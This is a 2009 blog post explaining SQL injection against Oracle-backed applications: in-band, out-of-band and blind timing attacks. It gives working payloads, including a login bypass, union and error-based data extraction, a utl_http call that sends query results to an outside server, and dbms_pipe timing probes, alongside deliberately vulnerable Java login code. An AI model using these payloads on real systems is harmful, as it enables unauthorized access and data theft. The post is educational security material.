Tue 13 Oct 2009
I’m doing a lot of presentations where I mention SQL injection and even show detailed examples of both injecting applications and injecting stored program units within the database.
What I’d like to do in this post is describe SQL injection types, give concrete examples for a web applications and Oracle and talk a bit about blind SQL injection with Oracle as the back-end database.
Let’s start with a simple example
Assuming an application (web or client/server) has a login page that tries to validate users by matching their username and password with an existing row in a database table called user_details. The table contains columns user_name and password. A naive implementation of the database layer would be something like the following Java code:
Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery( "select * from user_details where user_name = '" + username + "' and password = '" + password + "'");
Given that “username” and “password” are input fields directly passed from user input without any processing, any astute reader can notice the problem in this code.
All the would-be hacker is required to do is pass in “‘ or 1=1 –” and he will be logged in with the first user in the table.
In the next paragraphs, we will explore various techniques a hacker can use to attack such vulnerable code as the above.
SQL Injection types
Roughly speaking, SQL injection has three general classes that are divided into many subclasses. The three classes are In-Band, Out-of-Band and Inference.
This is,by far, the easiest attack class of SQL injection. This attack is valid if the application can be manipulated to return different results than expected directly to the invoker by using techniques such as unions or error manipulation.
Taking the example from above, let’s say that the application displays the first name in the upper right corner of the screen. Now, all we have to do is to make sure that the first name returned is something we control.
Passing username as – “‘ and 1=0 union select banner from v$version where rownum = 1 –” should get us started.
Of course, at first, you will receive errors because the number of columns is not the same between the first and the second part of the statement so passing in additional nulls or ‘1’ values in the second select should solve the problem.
Using a different technique might be even easier, depending on the application implementation. Instead of trying to match the exact format of the vulnerable statement and guessing what columns are displayed, we can use error manipulation to retrieve the requested information. If the application displays error messages from the database layer directly to the screen, all we have to do is to create an error in the statement with hacker controlled text and read the results. Fortunately for the would-be hackers, Oracle has many options to generate hacker-controlled errors. One such example (the most known one) is using UTL_INADDR.
Again, taking the example from above, passing username as – “‘ or 1 = utl_inaddr.get_host_name((select banner from v$version where rownum = 1)) –” would generate the following statement: “select * from user_details where user_name = ” or 1 = utl_inaddr.get_host_name((select banner from v$version where rownum = 1)) — and password = ”” which will generously give the following error on the screen:
ERROR at line 1:
ORA-29257: host Oracle Database 11g Enterprise Edition Release 126.96.36.199.0 –
64bit Production unknown
ORA-06512: at “SYS.UTL_INADDR”, line 4
ORA-06512: at “SYS.UTL_INADDR”, line 35
ORA-06512: at line 1
On recent Oracle versions, this only works if the database user has permissions to access the package and is granted the relevant ACLs but there are other options to use instead of UTL_INADDR like CTXSYS.DRITHSX.SN and others.
It should be noted that Oracle, unlike other databases, does not allow multiple statements separated by ‘;’ so many attack techniques from SQL server and other databases are not possible.
If the application developers were more security minded and prevented error codes from being displayed, and the injection point cannot be used with unions as data is not displayed to the user, the hackers can revert to a different class of SQL injection using the Out-of-Band attack. In this attack vector, information is being sent to a hacker controlled server using the network or the file system. Oracle provides several packages and types that can be used to send information out of the database. Examples include HTTPURITYPE, utl_http, utl_tcp, utl_inaddr (DNS smuggling), utl_file, utl_smtp, etc.
Using the example above, the attack would be passing into username the following: “‘ or ‘1’ = utl_http.request(‘http://www.sentrigo.com/’ || (select banner from v$version where rownum = 1)) –” and since the site is controlled by the hacker all the hacker really needs to do is get the requests from his web server logs.
Inference (Blind SQL Injection)
Finally, we are coming to the point of this post.
If both In-Band and Out-of-Band options are not possible, the hacker is left with inference attacks. The most common blind SQL injection attack is using timing to infer information about the database. In other words, the hacker injects a question / guess and if the question is true makes the database delay the response. Unlike SQL Server, where one can inject the “WAITFOR DELAY” command, Oracle does not allow multiple commands and dbms_lock.sleep is not a function in Oracle so you cannot inject it into the statement. In all the examples I’ve seen for Oracle, long operations are traditionally used. Taking the example above, one can pass username: “‘ or 1 = case when substr(user, 1, 1) = ‘S’ then (select count(*) from all_objects) else 1 end –” and if the response if slower than usual we now know that the database user we are running with starts with ‘S’.
But, this looks a bit messy as you depend too much on DBMS side effects and also can alert the DBA that something fishy is going on.
Another technique that comes to mind in delaying the database is using commands that receive a timeout such as DBMS_PIPE or DBMS_ALERT. So, the above can be rewritten as following: “‘ or 1 = case when substr(user, 1, 1) = ‘S’ then dbms_pipe.receive_message(‘kuku’, 10) else 1 end –“. Since no message is coming on the “kuku” pipe, this will delay the command for 10 seconds exactly (or almost exactly) and then return to the caller.
I was surprised when I couldn’t find any such example on the web.
Using this technique is only possible if the database user has permissions to execute DBMS_PIPE but I’ve seen many databases where this is granted to public.
Looking at 11g, there are many functions that receive a TIMEOUT parameter so it’s reasonable to assume that one of them would be available.
Using this technique, the hacker can precisely (more or less) determine what branch his injection has taken.
What do you think? Is using timeouts as delays for blind SQL injection a usable technique?